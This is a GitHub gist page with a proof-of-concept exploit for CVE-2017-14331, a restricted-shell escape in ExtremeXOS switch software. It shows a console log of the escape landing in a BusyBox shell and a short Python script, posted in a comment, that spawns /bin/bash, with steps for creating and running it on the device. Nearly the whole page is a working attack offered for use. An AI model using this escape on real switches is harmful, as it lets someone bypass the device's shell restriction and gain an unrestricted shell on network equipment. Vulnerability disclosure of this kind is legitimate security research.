Skip to content

Instantly share code, notes, and snippets.

@cmaruti

cmaruti/[Telco] CVE-2017-14331

Last active December 16, 2022 15:09
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save cmaruti/086428e1231cedaed8b5cf2078c57e96 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save cmaruti/086428e1231cedaed8b5cf2078c57e96 to your computer and use it in GitHub Desktop.
Download ZIP
ExtremeXOS 16.x, 21.x, and 22.x exsh restricted shell escape
Raw
[Telco] CVE-2017-14331
EXTREMEXOS # run script shell.py
BusyBox v1.13.4 (2017-05-16 09:14:18 EDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/exos/bin $ uname -a
Linux s-1 2.6.28.9-summit_sibyte #2 SMP Tue May 16 09:15:38 EDT 2017 mips unknown
@cmaruti
Copy link
Author

cmaruti commented Jul 8, 2022 •
edited
Loading 

#!/usr/bin/env python
#
# On EXOS shell create shell.py.
#
# EXOS> edit script shell.py
#
# Copy this entire content to shell.py file.
#
##################################

import os

if __name__ == "__main__":
        os.system("/bin/bash")
        exit(0)

##################################
#
# On EXOS shell, execute the script.
# 
# EXOS> run script shell.py
#

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment